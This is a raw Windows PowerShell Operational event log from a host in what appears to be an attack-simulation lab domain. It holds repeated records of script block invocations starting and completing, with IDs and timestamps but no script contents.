SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034373
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034367
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034343
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034341
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034340
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
